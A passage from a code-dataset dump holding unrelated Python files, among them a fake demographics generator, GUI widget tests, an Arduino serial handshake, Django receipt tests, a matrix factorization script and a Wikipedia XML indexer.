ipsum' style.\n Example with default 200 chars\n \"Quas dignissimos provident debitis porro. Corporis maxime maxime repellendus vitae. \n Molestiae placeat repellendus ullam rerum provident impedit velit perspiciatis.\"\n \"\"\"\n try:\n max_chars = int(max_chars)\n fake = Faker()\n return fake.text(max_nb_chars=max_chars)\n except TypeError:\n print(\"Input for max_chars param could not be cast to an integer.\")\n\n\ndef random_demographics(number=1):\n \"\"\"\n Command line function to be used to generate random demographics. Uses random_* functions to generate a list of\n dictionaries which contain common demographic values.\n \n :param number: \n Type: Integer\n Default: 1\n Description: A positive integer value that indicates the number of random demographic dictionaries to generate\n \n :return: \n Returns a list of length == 'number' of demographic dictionaries. [{}.{},..]\n Demographic dictionaries contain key-value pairs of demographic elements.\n \n Example Demographic Dict:\n {'address1': '2389 FORD KEYS', 'ssn': '163-98-2131', 'mobile_phone': '5421141524', 'race': '1002-5',\n 'suffix': None, 'first_name': 'EDUARDO', 'deceased': False, 'address2': None, 'last_name': 'TAYLOR',\n 'home_phone': '2686516100', 'ethnicity': '2135-2', 'dob': datetime.date(1945, 5, 3),\n 'middle_name': 'ALEXANDER', 'zipcode': '78660', 'sex': 'MALE', 'work_phone': '1013348306',\n 'state': 'TX', 'email': 'LORI58@EXAMPLE.NET', 'city': 'PFLUGERVILLE', 'marital_status': 'D'}\n \n \"\"\"\n try:\n number = int(number)\n if number < 1:\n print(\"Invalid value passed as argument for 'number'. Must be a positive integer of base 10.\")\n except ValueError:\n print(\"Invalid value passed as argument for 'number'. Must be an integer of base 10.\")\n\n address_list = random_full_address(number=number)\n result = []\n\n for x in range(0, number):\n sex = random_sex()\n first_name = random_first_name(sex=sex)\n middle_name = random_first_name(sex=sex)\n last_name = random_last_name()\n suffix = random_suffix()\n ssn = random_ssn()\n home_phone = random_phone()\n mobile_phone = random_phone()\n work_phone = random_phone()\n username = (first_name + \".\" + last_name + str(random.randint(0, 1000)))\n email = username + '@EXAMPLE.COM'\n dob = random_dob()\n multiple_birth = random_deceased()\n deceased = random_deceased()\n if deceased:\n deceased_date = random_death_date(dob=dob)\n else:\n deceased_date = None\n marital_status = random_marital_status()\n preferred_language = random_language()\n race = random_race()\n ethnicity = random_ethnicity()\n password = random.randint(1, 99999999999)\n\n demo_dict = {\"first_name\": first_name, \"last_name\": last_name, \"middle_name\": middle_name, \"dob\": dob,\n \"sex\": sex, \"ssn\": ssn, \"home_phone\": home_phone, \"mobile_phone\": mobile_phone,\n \"work_phone\": work_phone, \"email\": email, \"deceased\": deceased, \"deceased_date\": deceased_date,\n \"suffix\": suffix, \"marital_status\": marital_status, \"race\": race, \"multiple_birth\": multiple_birth,\n \"ethnicity\": ethnicity, \"username\": username, \"password\": password,\n \"preferred_language\": preferred_language}\n demo_dict.update(address_list.pop(0))\n result.append(demo_dict)\n\n if result:\n return result\n else:\n return None\n","sub_path":"app/utils/demographics.py","file_name":"demographics.py","file_ext":"py","file_size_in_byte":45823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"480949912","text":"import toga\nfrom toga_dummy.utils import TestCase\n\n\nclass SwitchTests(TestCase):\n def setUp(self):\n super().setUp()\n\n self.text = \"Test Label\"\n\n def callback(widget):\n pass\n\n self.on_change = callback\n self.value = True\n self.enabled = True\n self.switch = toga.Switch(\n self.text,\n on_change=self.on_change,\n value=self.value,\n enabled=self.enabled,\n )\n\n def test_widget_created(self):\n self.assertEqual(self.switch._impl.interface, self.switch)\n self.assertActionPerformed(self.switch, \"create Switch\")\n\n def test_arguments_are_all_set_properly(self):\n self.assertEqual(self.switch.text, self.text)\n self.assertEqual(self.switch._text, self.text)\n self.assertEqual(self.switch.on_change._raw, self.on_change)\n self.assertEqual(self.switch.enabled, self.enabled)\n\n def test_text_with_None(self):\n self.switch.text = None\n self.assertEqual(self.switch.text, \"\")\n self.assertEqual(self.switch._text, \"\")\n\n def test_setting_text_invokes_impl_method(self):\n new_text = \"New Label\"\n self.switch.text = new_text\n self.assertValueSet(self.switch, \"text\", new_text)\n\n def test_setting_value_invokes_impl_method(self):\n new_value = False\n self.switch.value = new_value\n self.assertValueSet(self.switch, \"value\", False)\n\n def test_getting_value_invokes_impl_method(self):\n self.switch.value\n self.assertValueGet(self.switch, \"value\")\n\n def test_focus(self):\n self.switch.focus()\n self.assertActionPerformed(self.switch, \"focus\")\n\n def test_toggle_from_true_to_false(self):\n self.switch.value = True\n self.switch.toggle()\n self.assertValueSet(self.switch, \"value\", False)\n\n def test_toggle_from_false_to_true(self):\n self.switch.value = False\n self.switch.toggle()\n self.assertValueSet(self.switch, \"value\", True)\n\n def test_set_value_with_non_boolean(self):\n with self.assertRaises(ValueError):\n self.switch.value = \"on\"\n with self.assertRaises(ValueError):\n self.switch.value = None\n\n def test_on_change(self):\n def my_callback(widget):\n pass # pragma: no\n\n self.switch.on_change = my_callback\n self.assertEqual(self.switch.on_change._raw, my_callback)\n\n def test_no_args(self):\n \"A text label must be provided\"\n with self.assertRaises(TypeError):\n toga.Switch()\n\n def test_default_value(self):\n \"The switch value defaults to False\"\n switch = toga.Switch(\"My Switch\")\n self.assertEqual(switch.value, False)\n\n ######################################################################\n # 2022-07: Backwards compatibility\n ######################################################################\n\n def test_set_is_on(self):\n new_value = False\n with self.assertWarns(DeprecationWarning):\n self.switch.is_on = new_value\n self.assertValueSet(self.switch, \"value\", new_value)\n\n def test_get_is_on(self):\n with self.assertWarns(DeprecationWarning):\n self.switch.is_on\n self.assertValueGet(self.switch, \"value\")\n\n def test_on_toggle(self):\n def my_callback(widget):\n pass\n\n with self.assertWarns(DeprecationWarning):\n self.switch.on_toggle = my_callback\n\n with self.assertWarns(DeprecationWarning):\n self.assertEqual(self.switch.on_toggle._raw, my_callback)\n\n self.assertEqual(self.switch.on_change._raw, my_callback)\n\n def test_label_deprecated(self):\n new_text = \"New Label\"\n with self.assertWarns(DeprecationWarning):\n self.switch.label = new_text\n with self.assertWarns(DeprecationWarning):\n self.assertEqual(self.switch.label, new_text)\n self.assertValueSet(self.switch, \"text\", new_text)\n\n def test_init_with_deprecated(self):\n # label is a deprecated argument\n with self.assertWarns(DeprecationWarning):\n toga.Switch(\n label=self.text,\n on_change=self.on_change,\n value=self.value,\n enabled=self.enabled,\n )\n\n # can't specify both label *and* text\n with self.assertRaises(ValueError):\n toga.Switch(\n label=self.text,\n text=self.text,\n on_change=self.on_change,\n value=self.value,\n enabled=self.enabled,\n )\n\n # on_toggle is deprecated\n with self.assertWarns(DeprecationWarning):\n toga.Switch(\n self.text,\n on_toggle=self.on_change,\n value=self.value,\n enabled=self.enabled,\n )\n\n # can't specify both on_toggle *and* on_change\n with self.assertRaises(ValueError):\n toga.Switch(\n self.text,\n on_change=self.on_change,\n on_toggle=self.on_change,\n value=self.value,\n enabled=self.enabled,\n )\n\n # is_on is deprecated\n with self.assertWarns(DeprecationWarning):\n toga.Switch(\n self.text,\n on_change=self.on_change,\n is_on=self.value,\n enabled=self.enabled,\n )\n\n # If is_on and value are both specified, warn about is_on;\n with self.assertRaises(ValueError):\n toga.Switch(\n self.text,\n on_change=self.on_change,\n value=self.value,\n is_on=self.value,\n enabled=self.enabled,\n )\n\n ######################################################################\n # End backwards compatibility.\n ######################################################################\n","sub_path":"core/tests/widgets/test_switch.py","file_name":"test_switch.py","file_ext":"py","file_size_in_byte":5994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"33357414","text":"'''\nCreated on 26 Jul 2014\n\n@author: will\n'''\nimport sys\nimport logging\nimport signal\n\nfrom presence.db import repo\nfrom presence.scan.scanner import WifiMacScanner\n\ndef sigterm_handler(signal, frame):\n logging.info('Caught SIGTERM, exiting...')\n sys.exit(0)\nsignal.signal(signal.SIGTERM, sigterm_handler)\n\ndef main():\n _configure_logger()\n repo.initialise(sys.argv[2])\n \n wifi_scanner = WifiMacScanner(sys.argv[1])\n \n try:\n wifi_scanner.scan()\n except KeyboardInterrupt:\n logging.info('Exiting...')\n \ndef _configure_logger():\n logging.basicConfig(filename=sys.argv[3],\n filemode='w',\n format='%(asctime)s %(levelname)s %(message)s', \n level=logging.DEBUG)\n\nif __name__==\"__main__\":\n main()\n \n","sub_path":"presence/scan/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"422190340","text":"\n# coding: utf-8\n\n# In[1]:\n\nimport os\nimport numpy as np\nimport pandas as pd\nimport xarray as xr\nimport glob\nimport matplotlib.pyplot as plt\n#get_ipython().magic(u'matplotlib inline')\n#from matplotlib import animation\n#import cartopy.crs as ccrs\nfrom scipy.io import netcdf\nfrom scipy import signal\nfrom netCDF4 import num2date\nfrom netCDF4 import Dataset as NetCDFFile \nimport matplotlib.dates as mdates\n#from mpl_toolkits.basemap import Basemap\nimport datetime\n#from wavelets import WaveletAnalysis\n\n\n# In[2]:\n\npath='/ccc/scratch/cont003/gen0727/garciagi/'\n#mfiles= 'GOM025-GSL301.050_y1993-2012.1d_gridT.nc','GOM025-GSL301.001_y1993-2012.1d_gridT.nc'\n#filenames=sorted(glob.glob('/home/users/garcia8ix/workd/ENTROPY/5-days-avg/*.nc'))\n#print(len(filenames))\n#meanfile='/home/users/garcia8ix/workd/ENTROPY/stats/Smean.nc'\n\n\n# In[3]:\nmfiles=sorted(glob.glob('/ccc/scratch/cont003/gen0727/garciagi/FILTER/GOM025.GSL301_m*_H_filt.nc'))\ntrfiles=sorted(glob.glob('/ccc/scratch/cont003/gen0727/garciagi/outtrends/test/splinesH*'))\n\n#mfiles=mfiles[0:25]\n#dsh = xr.open_mfdataset(mfiles,concat_dim='ensemble')\n\n\n# In[4]:\n\ndsl=xr.open_dataset('/ccc/scratch/cont003/gen0727/garciagi/1d/NATL025.GSL301_m024.1d_gridT.nc')\n#mds=xr.open_dataset(meanfile)\n\nlats=dsl.nav_lat\nlons=dsl.nav_lon\ntime2=dsl.time_centered\ntime3 = pd.date_range('1993-01-01','2012-12-26' , freq='5D')\n\nifens=0\nntime=len(time2[:])\nnrow=lats.shape[0]\nncols=lats.shape[1] \nprint(len(mfiles)) \nmeanS= NetCDFFile('/ccc/scratch/cont003/gen0727/garciagi/SSHmeanLF.nc', 'w', format='NETCDF3_64BIT')\n\nmeanS.createDimension('time_counter', ntime)\nmeanS.createDimension('y', nrow)\nmeanS.createDimension('x', ncols) \nmeanS.createDimension('member',len(mfiles))\n\ntime = meanS.createVariable('time', 'f4', ('time_counter',))\nlats = meanS.createVariable('lons','f4',('y','x'))\nlons = meanS.createVariable('lats','f4',('y','x'))\n \nmeanssh = meanS.createVariable('meanssh', 'f4', ('time_counter', 'y','x'))\nvarssh = meanS.createVariable('varssh', 'f4', ('time_counter', 'y','x'))\nvarssh2 = meanS.createVariable('varssh2', 'f4', ('time_counter', 'y','x'))\nvarsshi = meanS.createVariable('varsshi', 'f4', ('member', 'y','x'))\nfilread = meanS.createVariable('filread', 'f4', ('member'))\n\nmlo=[1] \nstm=np.zeros((len(time2[:]),lats.shape[0],lats.shape[1]))\nstdm=np.zeros((len(time2[:]),lats.shape[0],lats.shape[1]))\nsti=np.zeros((len(mfiles),lats.shape[0],lats.shape[1]))\nfils=np.zeros(len(mfiles))\nfor item in mfiles:\n \n mean_file=mfiles[ifens]\n print(mean_file)\n #lines=np.load(trfiles[ifens])\n dsem = xr.open_dataset(mean_file)\n \n for item in mlo:\n lo=50#mlo[idt]\n la=90#mla[idt]\n \n xh=dsem.ssht[:,:,:]\n print(xh.shape)\n stm=stm+xh\n stdm=stdm+(xh*xh)\n sti[ifens,:,:]=np.var(xh,axis=0)\n print('ensemble %s' %ifens)\n #dm[\"meanE{0}\".format(inm)]=stm\n #ds[\"stdE{0}\".format(inm)]=stdm\n fils[ifens]=ifens\n ifens=ifens+1\n dsem=None\n\n\ntime[:]=dsl.time_centered[:].data\nlons[:,:]=dsl.nav_lon.data\nlats[:,:]=dsl.nav_lat.data\nmeanssh[:,:,:]=stm.data/50.\nvarssh[:,:,:] =stdm.data/50.\nvarssh2[:,:,:] =(stdm.data/50.)-((stm.data/50.)*(stm.data/50.))\nvarsshi[:,:,:]=sti\nfilread[:]=fils\nmeanS.close()\n","sub_path":"ssh_mean_sh.py","file_name":"ssh_mean_sh.py","file_ext":"py","file_size_in_byte":3277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"505172963","text":"from defensiveformation.formationinfoutils import get_align_side, get_receivers_outside_across\nfrom defensiveformation.placementrule import PlacementRule\n\nover_parameters_descriptor = [\n {\n 'name':'Over',\n 'type':'option',\n 'options':[\n 'Number One', 'Number Two', 'Number Three', 'Number Four', 'Number Five', 'T', 'H', 'X', 'Y', 'Z', 'Q',\n 'Tackle', 'Guard', 'Center'\n ]\n },\n {\n 'name':'Direction',\n 'type':'option',\n 'options':[\n 'Str','Wk'\n ]\n },\n {\n 'name':'Strength Type',\n 'type':'option',\n 'options':[\n 'Attached','Receiver'\n ]\n },\n {\n 'name':'Offset',\n 'type':'number',\n 'min': -10,\n 'max': 10\n },\n {\n 'name':'Depth',\n 'type':'number',\n 'min': 1,\n 'max': 15\n }\n]\n\n\nover_default_parameters = [\n {'name': 'Over', 'value': 'Number One'},\n {'name': 'Offset', 'value': 0},\n {'name': 'Direction', 'value': 'Str'},\n {'name': 'Strength Type', 'value': 'Attached'},\n {'name': 'Depth', 'value': 1}\n]\n\n\ndef over_placer(formation, placement_rule):\n over = placement_rule.get_parameter_value('Over')\n offset = placement_rule.get_parameter_value('Offset')\n direction = placement_rule.get_parameter_value('Direction')\n strength_type = placement_rule.get_parameter_value('Strength Type')\n depth = placement_rule.get_parameter_value('Depth')\n y = depth\n\n align_side = get_align_side(direction, strength_type, formation)\n receivers_outside_across = get_receivers_outside_across(formation, 'LEFT' if align_side == 'LEFT' else 'RIGHT')\n leverage_adjust = offset if align_side == 'RIGHT' else -offset\n\n if over == 'Number One':\n x = receivers_outside_across[0].x + leverage_adjust\n elif over == 'Number Two':\n x = receivers_outside_across[1].x + leverage_adjust\n elif over == 'Number Three':\n x = receivers_outside_across[2].x + leverage_adjust\n elif over == 'Number Four':\n x = receivers_outside_across[3].x + leverage_adjust\n elif over == 'Number Five':\n x = receivers_outside_across[4].x + leverage_adjust\n elif over == 'T':\n x = formation.t.x + leverage_adjust\n elif over == 'H':\n x = formation.h.x + leverage_adjust\n elif over == 'X':\n x = formation.x.x + leverage_adjust\n elif over == 'Y':\n x = formation.y.x + leverage_adjust\n elif over == 'Z':\n x = formation.z.x + leverage_adjust\n elif over == 'Q':\n x = formation.q.x + leverage_adjust\n elif over == 'Center':\n x = formation.c.x + leverage_adjust\n elif over == 'Tackle':\n if align_side == 'LEFT':\n x = formation.lt.x + leverage_adjust\n else:\n x = formation.rt.x + leverage_adjust\n else:\n if align_side == 'LEFT':\n x = formation.lg.x + leverage_adjust\n else:\n x = formation.rg.x + leverage_adjust\n\n return x, y\n\nPlacementRule.register_placement_rule('Over', over_default_parameters, over_parameters_descriptor, over_placer)","sub_path":"defensiveformation/placementrules/overplacementrule.py","file_name":"overplacementrule.py","file_ext":"py","file_size_in_byte":3126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"633752411","text":"'''\nCreated on Mar 28, 2020\n\n@author: HOLVOET\n'''\n\nimport serial\n\nclass Arduino:\n \n def __init__(self, channel, doPrint=None):\n try:\n self.serial = serial.Serial(channel, \n 115200,\n parity=serial.PARITY_NONE,\n stopbits=serial.STOPBITS_ONE,\n bytesize=serial.EIGHTBITS,\n timeout=0.5)\n \n pingPongOK=True\n # Active loop to wait for Arduino to be ready\n # Simple ping-pong of '0xff' and when we get one\n # back, it should mean Arduino is alive and kicking\n for _ in range(10):\n if doPrint != None:\n print(\".\")\n ping0=b'\\0'\n self.serial.write(ping0)\n # On time out, if Arduino is not up\n # we get an empty byte\n pong=self.serial.read(1)\n if pong==ping0:\n # Arduino is alive and kicking\n pingPongOK=True\n break;\n \n if pingPongOK:\n # one more byte 0xfe\n # waiting for the replay\n # possible empty the buffer of \n # remaing ff if any\n ping1=b'\\1' \n self.serial.write(ping1)\n pong=self.serial.read(1)\n while pong!=ping1:\n if doPrint:\n print(\".\")\n pong=self.serial.read(1)\n \n if pong==ping1:\n # All good here\n if doPrint:\n message=\"OK: Connected to \" + channel + \", Arduino alive and kicking\\n\"\n print(message)\n else:\n raise Exception\n else:\n raise Exception\n \n except:\n if doPrint != None:\n message=\"OOPS: Arduino not connected on \" + channel + \"\\n\"\n print(message)\n self.serial=None\n","sub_path":"PingPong/Python/Arduino/arduino.py","file_name":"arduino.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"603357982","text":"#\n# @lc app=leetcode id=58 lang=python3\n#\n# [58] Length of Last Word\n#\nclass Solution:\n def lengthOfLastWord(self, s: str) -> int:\n result = re.findall(r'[A-Za-z][^ ]*', s)\n length = len(result)\n if length == 0: return 0\n else:\n # return the length of last word in the string.\n return len(result[length-1])\n\n","sub_path":"leetcode/58.length-of-last-word.py","file_name":"58.length-of-last-word.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"182950684","text":"import gym\r\n\r\n# Creating the enviornment using make function\r\n# In this we will use CartPole enviornment from openAI in which the cart tries to balance the pole\r\n# which has predefined actions.\r\n\r\nenv = gym.make('CartPole-v0')\r\n\r\n# Resetting the state of the cart to the initial state\r\n\r\nenv.reset()\r\n\r\n# Rendering the state from enviornment\r\nfor _ in range(1000):\r\n env.render()\r\n\r\n # action_space is basically which consist of all possible actions.\r\n # From the action_space we are grabbing a random action.\r\n # By step function we are just performing that action by agent.\r\n # \r\n env.step(env.action_space.sample())","sub_path":"part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"82644675","text":"from django.test import TestCase\nfrom django.urls import reverse\n\nfrom migros.models import Receipt, ReceiptItem, Product\n\n\nclass ReceiptTest(TestCase):\n def setUp(self):\n super(ReceiptTest, self).setUp()\n product = Product.objects.create(name='foo', vat_rate=0.18, amount=2)\n product1 = Product.objects.create(name='bar', vat_rate=0.08, amount=1)\n receipt = Receipt.objects.create()\n ReceiptItem.objects.create(receipt=receipt, product=product)\n ReceiptItem.objects.create(receipt=receipt, product=product1)\n\n def test_receiptitem_amount(self):\n receiptitem = ReceiptItem.objects.first()\n product = receiptitem.product\n self.assertEqual(product.amount, receiptitem.amount)\n\n def test_receiptitem_vat_rate(self):\n receiptitem = ReceiptItem.objects.first()\n product = receiptitem.product\n self.assertEqual(product.vat_rate, receiptitem.vat_rate)\n\n def test_receiptitem_name(self):\n receiptitem = ReceiptItem.objects.first()\n product = receiptitem.product\n self.assertEqual(product.name, receiptitem.name)\n \n def test_receiptitem_vat(self):\n receiptitem = ReceiptItem.objects.first()\n self.assertEqual(\n receiptitem.amount * receiptitem.vat_rate,\n receiptitem.vat\n )\n\n def test_receiptitem_subtotal(self):\n receiptitem = ReceiptItem.objects.first()\n self.assertEqual(\n receiptitem.amount + receiptitem.vat,\n receiptitem.sub_total\n )\n\n def test_receipt_amount(self):\n receipt = Receipt.objects.first()\n amount = sum([i.amount for i in receipt.receiptitem_set.all()])\n self.assertEqual(receipt.amount, amount)\n\n def test_receipt_vat(self):\n receipt = Receipt.objects.first()\n vat = sum([i.vat for i in receipt.receiptitem_set.all()])\n self.assertEqual(receipt.vat, vat)\n\n def test_receipt_total_amount(self):\n receipt = Receipt.objects.first()\n total_amount = sum(\n [\n i.amount + i.vat\n for i in receipt.receiptitem_set.all()\n ]\n )\n self.assertEqual(receipt.total_amount, total_amount)\n\n def test_receipt_str(self):\n receipt = Receipt.objects.first()\n self.assertEqual(str(receipt), str(receipt.total_amount))\n\n def test_receiptitem_str(self):\n receiptitem = ReceiptItem.objects.first()\n self.assertEqual(str(receiptitem), receiptitem.name)\n \n def test_product_str(self):\n product = Product.objects.first()\n self.assertEqual(str(product), product.name)\n\n def test_receiptitem_get_absolute_url(self):\n receiptitem = ReceiptItem.objects.first()\n self.assertEqual(\n reverse('detail', args=[str(receiptitem.id)]),\n receiptitem.get_absolute_url()\n )\n \n def test_product_get_absolute_url(self):\n product = Product.objects.first()\n self.assertEqual(\n reverse('product-list'),\n product.get_absolute_url()\n )\n","sub_path":"migros/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"428113923","text":"from metaflow import FlowSpec, step\n\nclass LinearFlow(FlowSpec):\n \n \"\"\"\n A flow to verify you can run a basic metaflow flow.\n \"\"\"\n \n # Global initializations here\n \n @step\n def start(self):\n self.message = 'Thanks for reading.'\n self.next(self.process_message)\n\n @step\n def process_message(self):\n print('the message is: %s' % self.message)\n self.next(self.end)\n\n @step\n def end(self):\n print('the message is still: %s' % self.message)\n\nif __name__ == '__main__':\n LinearFlow()","sub_path":"linear_flow.py","file_name":"linear_flow.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"153680884","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n#Config 数据库配置文件\n\n\nDBHOST = \"localhost\"\nDBPORT = 3306\nDBUSER = \"root\"\nDBPWD = \"123456\"\nDBNAME = \"GElog\"\nDBCHAR = \"utf8\"\n\n#设置Elasticsearch 的服务ip\nES_HOST = { \"host\": \"192.168.202.44\", \"port\": \"9200\" }\n\n#logstash数据发送给es的index源名称\nindex_name=\"my_test\"","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"105480798","text":"import tools.requests_tool as requestTool\nimport tools.html_tool as htmlTool\nfrom lxml import etree\nfrom page.raiders_page import RaidersPage\nfrom urllib import parse\nimport re\ndef download_youxia(url):\n nextUrl=url\n content=\"\"\n page=RaidersPage(url)\n while(nextUrl):\n html=requestTool.get_html(nextUrl)\n tree=etree.HTML(html)\n divstr = htmlTool.get_source(html, '//div[@class=\"glzjshow_con\"]')\n divstr = handling_useless(divstr)\n next = tree.xpath('//a[text()=\"下一页\"]/@href') # 下一页地址\n if len(next) != 0:\n nextUrl = parse.urljoin(nextUrl,next[0])\n else:\n nextUrl = None\n content+=divstr\n #保存图片\n for url in tree.xpath('//div[@class=\"glzjshow_con\"]//img/@src'):\n url=url.split()[0]\n print(url)\n img=requestTool.get_image(url)\n if img is not None:\n page.set_image(url,img)\n title = tree.xpath(\"//title\")[0].text\n page.set_title(title)\n page.set_content(content)\n page.save()\n # print(divstr)\n print(\"下载成功\")\ndef handling_useless(divstr):\n\n # pagetitle=\"\"\n divstr = divstr.replace(\" \", \"\\n\")\n divstr = re.sub(r'<script.*?>.*?</script>',\"\",divstr)\n divstr = htmlTool.minus_element(divstr\n ,r'<script.*?>.*?</script>'\n ,r'<p.*?>.*?更多内容.*?</p>'\n ,r'<p.*?>.*?更多相关资讯.*?</p>'\n ,r'<strong.*?>.*?攻略推荐.*?</strong>'\n ,regax=True)\n divstr = htmlTool.minus_element(divstr,'//table[@class=\"hidden-table\"]')\n match=re.findall(r'<p.{0,20}<a.*?查看.*?全部攻略.*?</a>',divstr,re.DOTALL)\n divstr = divstr[:divstr.find(match[0])] + \"</div>\"\n # match = re.findall(\"<p>第\\d+页:(.*?)</p>\", divstr)\n # if (len(match) > 0 and len(match[0]) > 2):\n # pagetitle+=htmlTool.tag(\"h2\",match[0],cls=\"split_flag\")\n # print(pagetitle)\n # divstr =htmlTool.minus_element(divstr,'//table[@class=\"table2\"]')\n # divstr =htmlTool.minus_element(divstr,'//div[@class=\"post_ding_top\"]')\n # for str in re.findall(r'<img.*?(src=.*?)src.*?/>',divstr):\n # divstr=divstr.replace(str,\"\")\n # if len(pagetitle)>0:\n # return htmlTool.tag(\"div\", pagetitle + divstr,cls=\"split_flag\")\n # else:\n # return htmlTool.tag(\"div\",pagetitle+divstr)\n return htmlTool.tag(\"div\", divstr)","sub_path":"old/download_raiders_youxia_old.py","file_name":"download_raiders_youxia_old.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"161960536","text":"# 矩阵因子分解算法的实现\nimport matplotlib.pyplot as plt\nfrom math import pow\nimport numpy\n\n\ndef matrix_factorization(R, P, Q, K, steps=5000, alpha=0.0002, beta=0.02):\n '''\n :param R: 评分矩阵,用户i对物品j的评分\n :param P: 用户特征矩阵\n :param Q: 物品特征矩阵\n :param K: k个特征\n :param steps:迭代多少次\n :param alpha:参数学习率\n :param beta:偏置\n :return:\n '''\n Q = Q.T # .T操作表示矩阵的转置\n result = []\n for step in range(steps):\n # 遍历每一个用户\n for i in range(len(R)):\n # 遍历一个用户的所有物品种类\n for j in range(len(R[i])):\n # 如果用户i对用户j评分\n if R[i][j]>0:\n # 计算目前的分值差异,\n eij=R[i][j]-numpy.dot(P[i,:],Q[:,j]) # .dot(P,Q) 表示矩阵内积\n # 表示对K个特征进行值的改变,参数更新\n for k in range(K):\n P[i][k] = P[i][k]+alpha*(2*eij*Q[k][j]-beta*P[i][k])\n Q[k][j] = Q[k][j]+alpha*(2*eij*P[i][k]-beta*Q[k][j])\n # 得到的预测评分矩阵\n # eR=numpy.dot(P, Q)\n # 损失\n e = 0\n # 遍历每一个用户\n for i in range(len(R)):\n # 遍历每个用户的物品\n for j in range(len(R[i])):\n # 对于被打了分的物品\n if R[i][j] > 0:\n # 计算均方误差的总和\n e = e+pow(R[i][j]-numpy.dot(P[i, :], Q[:, j]), 2)\n # 加上偏置\n for k in range(K):\n e = e+(beta/2)*(pow(P[i][k], 2)+pow(Q[k][j], 2))\n result.append(e)\n # 一直到误差值小于一定的数目\n if e < 0.001:\n break\n print('setp: ', step+1, ' loss:', e)\n # 返回训练好的特征矩阵和物品特征矩阵,以及误差走向\n return P, Q.T, result\n\n\nif __name__ == '__main__':\n R=[\n [5,3,0,1,2],\n [4,0,0,1,0],\n [1,1,0,5,0],\n [1,0,0,4,0],\n [0,1,5,4,0]\n ]\n\n R = numpy.array(R)\n\n N = len(R)\n M = len(R[0])\n K = 9\n # 随机生成一个 N行 K列的矩阵\n P = numpy.random.rand(N, K)\n # 随机生成一个 M行 K列的矩阵\n Q = numpy.random.rand(M, K)\n\n nP, nQ, result = matrix_factorization(R,P,Q,K)\n print(\"原始的评分矩阵R为:\\n\", R)\n R_MF = numpy.dot(nP, nQ.T)\n print(\"经过MF算法填充0处评分值后的评分矩阵R_MF为:\\n\", R_MF)\n #-------------损失函数的收敛曲线图---------------\n n = len(result)\n x = range(n)\n plt.plot(x, result, color='r', linewidth=3)\n plt.title(\"Convergence curve\")\n plt.xlabel(\"generation\")\n plt.ylabel(\"loss\")\n plt.show()","sub_path":"machinelearning/base_mf.py","file_name":"base_mf.py","file_ext":"py","file_size_in_byte":2855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"325725090","text":"import json\nfrom collections import defaultdict\nimport heapq\nfrom preprocessor import TextProcessor\nfrom encoder import Encoder\nfrom html import unescape\nimport sys\nimport os\n\n\nclass Index:\n def __init__(self, xml_path, index_path, info_path):\n\n # dump specific data\n super().__init__()\n self.xml_path = xml_path\n\n if index_path[-1] != '/':\n index_path += '/'\n\n if info_path[-1] != '/':\n info_path += '/'\n\n self.index_path = index_path\n self.stats_path = \"stats.txt\"\n self.title_folder = info_path + \"titles/\"\n self.doc_info_path = info_path + \"doc_info.json\"\n self.index_info_path = info_path + \"index_info.json\"\n self.config_path = \"config.json\"\n self.info_path = info_path\n\n self.index_num = 0\n self.temp_num = 0\n self.MAX_INDEX_POSTINGS = 1000000\n\n self.title_num = 0\n self.MAX_TITLES = 10000\n self.title_count = 0\n self.title_file = open(self.title_folder + str(self.title_num), 'w+')\n\n # stats forBM25\n self.length_sum = [0, 0, 0, 0, 0, 0]\n self.lengths = []\n\n # document specific data\n self.body = \"\"\n self.cur_tag = \"\"\n self.title = \"\"\n self.cur_doc = 0\n\n # current block specific data\n self.map = defaultdict(lambda: [])\n self.local_postings = 0\n self.MAX_LOCAL_POSTINGS = 100000\n\n # Setting up the text preprocessor\n self.text_preprocessor = TextProcessor()\n\n # setting up parsing\n self.data_file = open(self.xml_path, 'r')\n\n # posting encoder\n self.encoder = Encoder()\n\n def start_parsing(self):\n self.parse()\n\n def parse(self):\n while True:\n line = self.data_file.readline()\n if line.find(\"<page>\") != -1:\n title = True\n body = True\n while True:\n line = self.data_file.readline()\n if title:\n pos = line.find(\"<title>\")\n if pos != -1:\n self.title = line[pos + 7: line.find(\"\")]\n title = False\n if body:\n pos = line.find(\"\":\n pos += 1\n if line[pos - 1] == \"/\":\n self.process_data()\n break\n pos += 1\n end = line.find('')\n if end != -1:\n self.body += line[pos:end]\n self.process_data()\n break\n else:\n self.body += line[pos:]\n\n while True:\n line = self.data_file.readline()\n end = line.find(\"\")\n if end != -1:\n self.body += line[:end]\n self.process_data()\n break\n else:\n self.body += line\n break\n if not line:\n break\n\n def process_data(self):\n\n self.title_file.write(str(self.cur_doc) + \" \" + self.title + \"\\n\")\n self.title_count += 1\n if self.title_count >= self.MAX_TITLES:\n self.title_file.close()\n self.title_num += 1\n self.title_count = 0\n self.title_file = 